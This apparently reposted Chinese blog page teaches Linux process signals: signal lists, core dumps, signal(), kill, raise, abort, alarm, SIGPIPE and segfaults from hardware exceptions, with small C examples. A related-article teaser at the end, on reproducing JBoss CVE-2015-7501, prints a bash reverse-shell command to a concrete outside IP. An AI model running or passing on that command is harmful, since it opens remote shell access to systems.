当前位置: 首页 > news >正文

[Linux]:信号(上)

img

✨✨ 欢迎大家来到贝蒂大讲堂✨✨

🎈🎈养成好习惯,先赞后看哦~🎈🎈

所属专栏:Linux学习
贝蒂的主页:Betty’s blog

1. 信号的引入

1.1 信号的概念

Linux系统中,信号(Signal)是一种软件中断机制,用于通知进程发生了特定的事件。信号可以由系统内核、其他进程或者进程自身发送。

我们可以通过指令kill -l参考所有信号:

信号的本质就是一个define定义的宏,其中131号信号是普通信号,3464号信号是实时信号,普通信号和实时信号各自都有31个。每一个信号与一个数字相对应,每个信号也都有特定的含义和默认的处理动作。例如,信号SIGINT(通常由用户按下ctrl + c产生)表示中断信号,默认情况下会导致进程终止。

其中需要注意的是:在Linux中,前台进程只能有一个,而后台进程可以为多个。一般而言,我们的bash进程作为我们的前台进程,而一旦我们执行一个可执行程序,这个可执行程序就会成为前台进程,而bash进程就会转为后台进程。但是我们如果在执行一个可执行程序时,在之后加一个&,此时的可执行程序就会由前台进程转换为后台进程。而前台进程与后台进程本质间区别就是前台进程可以从键盘获取数据,后台进程则不能。

比如我们运行一个后台进程,就无法通过ctrl + c终止进程,因为其无法从键盘读取数据。此时就只能通过kill指令直接杀死对应的进程。

1.2 信号的获取

我们可以通过指令man 7 signal查看信号的详细说明:

其中 TermCore 表示终止;Ign 标记忽略;Cont 表示继续;Stop 表示暂停。我们早在进程等待时就知道,waitwaitpid的参数status本质就是一个位图结构,其低16比特位当中,高8位表示进程的退出状态,即退出码。进程若是被信号所杀,则低7位表示终止信号,而第8位比特位是core dump标志。

pid_t wait(int *status);
pid_t waitpid(pid_t pid, int *status, int options);

画板

其中 core dump 标志就是用来区分 TermCore 的。云服务器的 Core dump 功能默认是关闭的,但我们可以通过指令ulimit -a 指令来查看当前系统的所有资源限制。

我们可以通过指令ulimit -c size,去设置它的大小,如果 size > 0 就表示开启 Core dump 功能。

其中Term对应的core dump标志位是 0,表示正常终止;Core对应的core dump标志位是 1,表示异常终止。我们可以在程序中,通过位运算status>>7&1来获取对应的core dump标志。

打开系统的core dump功能后,一旦进程出现异常,操作系统会将进程在内存中的运行信息转储到进程的当前目录中,形成core.pid文件,这一过程被称作核心转储。core.pid文件中详细记录了程序的异常原因,可以直接帮我们定位到出错行。

比如如下这段代码:

#include <iostream>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
using namespace std;
int main()
{int a = 10;int b = 0;a /= b;return 0;
}

既然core dump可以帮助我们定位错误信息,那么我们为什么要将其关闭呢?那是因为如果每次产生错误信息都形成core.pid文件的话,系统可能产生大量文件,而迫使操作系统挂掉,为了避免这种情况,一般而言我们并不建议开启该功能。

1.3 signal函数

当一个信号被发送给一个进程时,进程可以采取以下几种方式来处理信号:

  1. 忽略信号:进程可以选择忽略某些信号,即不对信号做出任何反应。但并不是所有信号都可以被忽略,例如 SIGKILL SIGSTOP 信号不能被忽略。
  2. 捕获信号:进程可以注册一个信号处理函数,当接收到特定信号时,就会执行这个函数。通过这种方式,进程可以在接收到信号时执行自定义的处理逻辑。
  3. 执行默认动作:如果进程没有显式地忽略或捕获信号,那么它将执行信号的默认动作。默认动作通常是终止进程、停止进程、继续进程等。

接下来我们介绍一个函数signal,其可以设置进程对某个信号的自定义捕捉方法:即当进程收到 signum 信号的时候,去执行 handler 方法。

  1. 函数原型:
  • typedef void (*sighandler_t)(int);
  • sighandler_t signal(int signum, sighandler_t handler);
  1. 参数:
  • signum:是一个整数,表示要处理的信号编号。
  • handler:是一个函数指针,指向一个信号处理函数。这个信号处理函数接受一个整数参数(即接收到的信号编号),并且没有返回值(void)。可以是以下几种值:
    • SIG_DFL:表示默认的信号处理动作。
    • SIG_IGN:表示忽略该信号。
    • 自定义的信号处理函数指针,用于处理特定信号。

例如,下面的代码中将2号信号进行了捕捉,当该进程运行起来后,若该进程收到了2号信号就会打印出对应的信号编码。

#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handler(int sign)
{printf("get a signal :%d\n",sign);
}
int main()
{signal(2,handler);while(1){printf("hello world!\n");sleep(1);}return 0;
}

其中前台进程在运行过程中,用户随时可能按下Ctrl+C而产生一个信号,也就是说该进程的代码执行到任何地方都可能收到SIGINT信号而终止,所以信号相对于进程的控制流程来说是异步的。

2. 信号的产生

在我们操作系统中,信号的产生方式有许多,总体归纳来说有四种。

2.1 终端按键

其中我们通过键盘快捷键直接向我们的进程发出信号的方式非常常见,其中较为我们常用的有:

组合键功能
Ctrl+C向进程发出SIGINT信号,终止进程。
Ctrl+\向进程发出SIGQUIT信号,终止进程。
Ctrl+Z向进程发送SIGTSTP信号,暂停进程的执行。

2.2 系统接口

我们也可以通过操作系统为我们提供的接口对进程发送对应的信号。

其中较为常用的一个接口为kill,其具体用法如下:

  1. 函数原型:int kill(pid_t pid, int sig);
  2. 参数:pid对应要发送信号进程的pidsig表示发送的信号种类。
  3. 返回值:如果成功,返回值为 0。否则,返回值为 -1

例如:下面这段代码,我们可以对指定进程发送一个SIGKILL信号,正常终止该进程。

int main()
{int cnt = 0;while(1){printf("hello world!\n");sleep(1);++cnt;if(cnt == 5){kill(getpid(),SIGKILL);}}return 0;
}

接下来我们再来介绍两个接口:raiseabort

int raise(int sig);
void abort(void);

raise函数用于给当前进程发送sig号信号,而abort函数相当于给当前进程发送SIGABRT信号,使当前进程异常终止。

abortexit函数同样是终止进程,它们之间有什么区别吗?

首先明确abort函数和exit函数的不同作用。abort函数的作用是异常终止进程,它本质上是通过向当前进程发送SIGABRT信号来实现这一目的。而exit函数的作用是正常终止进程。

需要注意的是,使用exit函数终止进程可能会失败,因为在某些复杂的程序运行环境中,可能存在一些因素干扰正常的进程终止流程。然而,使用abort函数终止进程通常被认为总是成功的,这是由于其通过发送特定信号强制终止进程,一般情况下进程很难忽略该信号而继续运行。

2.3 软件条件

在我们前面学习管道通信时,就知道如果进程将读端关闭,而写端进程还一直向管道写入数据,那么此时写端进程就会收到SIGPIPE信号进而被操作系统终止。SIGPIPE就是一种典型的因为软件异常而产生的信号。

例如,下面代码,创建匿名管道进行父子进程之间的通信,其中父进程去读取数据,子进程去写入数据,但是一开始将父进程的读端关闭了,那么此时子进程在向管道写入数据时就会收到SIGPIPE信号,进而被终止。

#include<stdio.h>
#include<unistd.h>
#include<string.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/wait.h>
int main()
{int fd[2]={0};if(pipe(fd)<0){perror("pipe:");return 1;}pid_t id = fork();if(id ==0 ){//child -> writeclose(fd[0]);char*msg = "hello father, i am child...";while(1){write(fd[1],msg,strlen(msg));sleep(1);}close(fd[1]);exit(0);}// father -> readclose(fd[1]);close(fd[0]);int status = 0;waitpid(id,&status,0);printf("child get a signal :%d\n",status&0x7f);return 0;
}

我们能够通过alarm函数,设定一个闹钟,倒计时完毕向我们的进程发送SLGALRM信号,其具体用法如下:

  1. 函数原型:unsigned int alarm(unsigned int seconds);
  2. 参数:seconds表示倒计时的秒数。
  3. 返回值:如果调用alarm函数前,进程已经设置了闹钟,则返回上一个闹钟时间的剩余时间,并且本次闹钟的设置会覆盖上一次闹钟的设置。如果调用alarm函数前,进程没有设置闹钟,则返回值为0。

例如下面这段代码,我们首先对SLGALRM信号进行捕捉,并给出我们的自定义方法,然后5秒后调用alarm函数。

#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
#include<sys/types.h>
#include<unistd.h>
void handler(int sign)
{printf("get a signal:%d\n",sign);exit(1);
}
int main()
{signal(SIGALRM,handler);alarm(5);while(1){printf("hello wrold!\n");sleep(1);}return 0;
}

2.4 硬件异常

当程序出现除 0、野指针、越界等错误时,程序会崩溃,本质是进程在运行中收到操作系统发来的信号而被终止。 这些发送的信号都是由硬件异常产生的。

比如下面这段代码,进行了对空指针的解引用,那么其到底是如何被操作系统识别的呢?

#include<stdio.h>
int main()
{int *p = NULL;*p = 3;//对空指针解引用。return 0;
}

首先我们知道,当我们要访问一个变量时,进程控制块task_struct一定要会经过页表的映射,将虚拟地址转换成物理地址,然后才能进行相应的访问操作。

画板

而页表属于一种软件映射关系,在从虚拟地址到物理地址映射过程中,有一个硬件单元叫做 MMU(内存管理单元),它是负责处理 CPU 的内存访问请求的计算机硬件。如今,MMU 已集成到 CPU 当中。虽然映射工作原本不是由 CPU 做而是由 MMU做,但现在其与 CPU 的紧密结合使得整个内存访问过程更加高效。

当进行虚拟地址到物理地址的映射时,先将页表左侧的虚拟地址提供给 MMUMMU会计算出对应的物理地址,随后通过这个物理地址进行相应的访问。

由于 MMU 是硬件单元,所以它有相应的状态信息。当要访问不属于我们的虚拟地址时,MMU 在进行虚拟地址到物理地址的转换时会出现错误,并将对应的错误写入到自己的状态信息当中。此时,硬件异常,硬件上的信息会立马被操作系统识别到,进而向对应进程发送 SIGSEGV 信号。

相关文章:

[Linux]:信号(上)

✨✨ 欢迎大家来到贝蒂大讲堂✨✨ &#x1f388;&#x1f388;养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; 所属专栏&#xff1a;Linux学习 贝蒂的主页&#xff1a;Betty’s blog 1. 信号的引入 1.1 信号的概念 在Linux系统中&#xff0c;信号&#xff08;…...

浙大数据结构:05-树9 Huffman Codes

这道题难度挺大&#xff0c;写起来较为费劲&#xff0c;这里我依然使用了STL库&#xff0c;使得代码量大幅减少不过百行&#xff0c;便于大家理解。 机翻&#xff1a; 1、条件准备 数组存储字符对应频率&#xff0c;n,student存储输入多少字符&#xff0c;有多少学生测试。 …...

scrapy爬虫基础

一、初识 创建项目&#xff1a; scrapy startproject my_one_project # 创建项目命令 cd my_one_project # 先进去&#xff0c; 后面在里面运行 运行爬虫命令为&#xff1a;scrapy crawl tk spiders下创建test.py 其中name就是scrapy crawl tk &…...

利用H5无插件播放RTSP流的实现方案

文章目录 0. 引言1. 问题分析1.1 RTSP流与浏览器的兼容性1.2 解决思路 2. 方案设计2.1 总体架构2.2 关键组件 3. 实施步骤3.1 环境准备3.2 安装与配置3.2.1 安装FFmpeg3.2.2 安装OpenResty3.2.3 添加nginx-rtmp-module模块3.2.4 配置OpenResty 3.3 推流操作3.4 前端播放3.4.1 引…...

CSS文本格式化

通过 CSS 中的文本属性您可以像操作 Word 文档那样定义网页中文本的字符间距、对齐方式、缩进等等&#xff0c;CSS 中常用的文本属性如下所示&#xff1a; text-align&#xff1a;设置文本的水平对齐方式&#xff1b;text-decoration&#xff1a;设置文本的装饰&#xff1b;te…...

python的 __name__和__doc__属性

__name__属性 __name__属性 用于判断当前模块是不是程序入口&#xff0c;如果当前程序正在使用&#xff0c;__name__的值为__main__。 在编写程序时&#xff0c;通常需要给每个模块添加条件语句&#xff0c;用于单独测试该模块的功能。 每个模块都有一个名称&#xff0c;当一…...

Go语言中的Mutex实现探讨

解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 在并发编程中,互斥锁(Mutex)是一个重要的工具,它帮助我们控制多个协程对共享资源的访问,从而防止数据竞争和不一致性。本文将深入探讨Go语言中Mutex的实现历程和使用方式,同时分享在处理并发问题时的思路与…...

第五届计算机科学与管理科技国际学术会议(ICCSMT 2024)

梁哲&#xff0c;同济大学长聘特聘教授&#xff0c;国家杰青、首届国家杰青延续项目获得者、上海市曙光学者、上海市优秀学术带头人。本科毕业于新加坡国立大计算机工程系、硕士毕业于新加坡国立大学工业与系统工程系、博士毕业于美国新泽西州立大学工业工程系。理论研究主要集…...

【machine learning-13-线性回归的向量化】

向量化 向量化简洁并行计算 向量化 线性回归的向量化表示如下&#xff0c;其中w 和 x 都分别加了箭头表示这是个向量&#xff0c;后续不加也可以表示为向量&#xff0c;w和x点乘加上b&#xff0c;就构成了多元线性回归的表达方式&#xff0c;如下&#xff1a; 那么究竟为什么…...

【CSS|第2期】探索HTML与CSS中的文档流:从自然流到高级布局技巧

日期&#xff1a;2024年9月9日 作者&#xff1a;Commas 签名&#xff1a;(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释&#xff1a;如果您觉在这里插入代码片得有所帮助&#xff0c;帮忙点个赞&#xff0c;也可以关注我&#xff0c;我们一起成长&#xff1b;如果有不对…...

MATLAB绘图基础9:多变量图形绘制

参考书&#xff1a;《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。 9.多变量图形绘制 9.1 气泡图 气泡图用于展示三个或更多变量变量之间的关系&#xff0c;气泡图的组成要素&#xff1a; 横轴( X {\rm X} X轴)&#xff1a;表示数据集中的一个变量&#xff0c…...

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…...

每日论文6—16ISCAS一种新型低电流失配和变化电流转向电荷泵

《A Novel Current Steering Charge Pump with Low Current Mismatch and Variation》16ISCAS 本文首先介绍了传统的current steering charge pump&#xff0c;如下图&#xff1a; 比起最简单的电荷泵&#xff0c;主要好处是UP和DN开关离输出节点较远&#xff0c;因此一定程度…...

低代码开发平台:未来五大发展趋势预测

在数字化转型的浪潮中&#xff0c;低代码开发平台正迅速崛起&#xff0c;成为企业软件开发的重要工具。随着技术的不断进步和市场需求的持续增长&#xff0c;低代码开发平台在未来将展现出更为广阔的发展前景。本文将预测并探讨低代码开发平台的五大发展趋势。 深度融合数字化与…...

国内AI大模型,这篇文章说透了

探索国内顶尖AI企业及其创新产品。 人工智能&#xff08;AI&#xff09;的发展正以前所未有的速度推进。 从简单的自动化任务到复杂的决策制定、自然语言处理、图像识别及自主系统的实现&#xff0c;不断拓宽着人类智慧的边界。 国内AI发展迅猛&#xff0c;不仅在理论研究上…...

3.4 爬虫实战-爬去智联招聘职位信息

课程目标 爬去智联招聘 课程内容 import requests from bs4 import BeautifulSoup from tqdm import tqdm import pandas as pd import time def tran_salary(ori_salary):if "万" in ori_salary:ori_salary ori_salary.replace("万","")ori…...

Java 之注解详解

Java 注解&#xff08;Annotation&#xff09;自 Java 5 版本引入&#xff0c;为代码提供了强大的元数据支持。它们如同代码中的标记&#xff0c;能够被编译器、工具和运行时环境识别&#xff0c;赋予代码更丰富的语义和更强大的功能。 一、注解入门 1.1 初识注解&#xff1a…...

计算机视觉实战项目4(图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等)

往期热门项目回顾&#xff1a; 计算机视觉项目大集合 改进的yolo目标检测-测距测速 路径规划算法 图像去雨去雾目标检测测距项目 交通标志识别项目 yolo系列-重磅yolov9界面-最新的yolo 姿态识别-3d姿态识别 深度学习小白学习路线 AI健身教练-引体向上-俯卧撑计数…...

【Spring Cloud】Spring Cloud 概述

Spring Cloud 概述 1. 认识微服务1.1 单体架构1.2 集群和分布式架构集群和分布式 1.3 微服务架构分布式架构&微服务架构 1.4 微服务带来的挑战优势挑战 2. 微服务解决⽅案- Spring Cloud2.1 什么是Spring Cloud2.2 Spring Cloud版本Spring Cloud和SpringBoot的关系 2.3 Spr…...

猫头虎带你解决:error Error: certificate has expired

&#x1f42f;猫头虎带你解决&#xff1a;error Error: certificate has expired &#x1f4a5; 今天有粉丝问猫哥&#xff1a;“&#x1f42f;猫头虎&#xff0c;我在 Node.js 项目中使用 Yarn 安装包时遇到了一个错误&#xff1a;Error: certificate has expired。你能帮忙解…...

uniapp 对接腾讯云IM群组成员管理(增删改查)

UniApp 实战&#xff1a;腾讯云IM群组成员管理&#xff08;增删改查&#xff09; 一、前言 在社交类App开发中&#xff0c;群组成员管理是核心功能之一。本文将基于UniApp框架&#xff0c;结合腾讯云IM SDK&#xff0c;详细讲解如何实现群组成员的增删改查全流程。 权限校验…...

基于FPGA的PID算法学习———实现PID比例控制算法

基于FPGA的PID算法学习 前言一、PID算法分析二、PID仿真分析1. PID代码2.PI代码3.P代码4.顶层5.测试文件6.仿真波形 总结 前言 学习内容&#xff1a;参考网站&#xff1a; PID算法控制 PID即&#xff1a;Proportional&#xff08;比例&#xff09;、Integral&#xff08;积分&…...

UDP(Echoserver)

网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法&#xff1a;netstat [选项] 功能&#xff1a;查看网络状态 常用选项&#xff1a; n 拒绝显示别名&#…...

LLM基础1_语言模型如何处理文本

基于GitHub项目&#xff1a;https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken&#xff1a;OpenAI开发的专业"分词器" torch&#xff1a;Facebook开发的强力计算引擎&#xff0c;相当于超级计算器 理解词嵌入&#xff1a;给词语画"…...

【HarmonyOS 5 开发速记】如何获取用户信息(头像/昵称/手机号)

1.获取 authorizationCode&#xff1a; 2.利用 authorizationCode 获取 accessToken&#xff1a;文档中心 3.获取手机&#xff1a;文档中心 4.获取昵称头像&#xff1a;文档中心 首先创建 request 若要获取手机号&#xff0c;scope必填 phone&#xff0c;permissions 必填 …...

处理vxe-table 表尾数据是单独一个接口,表格tableData数据更新后,需要点击两下,表尾才是正确的

修改bug思路&#xff1a; 分别把 tabledata 和 表尾相关数据 console.log() 发现 更新数据先后顺序不对 settimeout延迟查询表格接口 ——测试可行 升级↑&#xff1a;async await 等接口返回后再开始下一个接口查询 ________________________________________________________…...

【Android】Android 开发 ADB 常用指令

查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...

给网站添加live2d看板娘

给网站添加live2d看板娘 参考文献&#xff1a; stevenjoezhang/live2d-widget: 把萌萌哒的看板娘抱回家 (ノ≧∇≦)ノ | Live2D widget for web platformEikanya/Live2d-model: Live2d model collectionzenghongtu/live2d-model-assets 前言 网站环境如下&#xff0c;文章也主…...

【LeetCode】算法详解#6 ---除自身以外数组的乘积

1.题目介绍 给定一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法&#xff0c;且在 O…...

全面解析数据库:从基础概念到前沿应用​

在数字化时代&#xff0c;数据已成为企业和社会发展的核心资产&#xff0c;而数据库作为存储、管理和处理数据的关键工具&#xff0c;在各个领域发挥着举足轻重的作用。从电商平台的商品信息管理&#xff0c;到社交网络的用户数据存储&#xff0c;再到金融行业的交易记录处理&a…...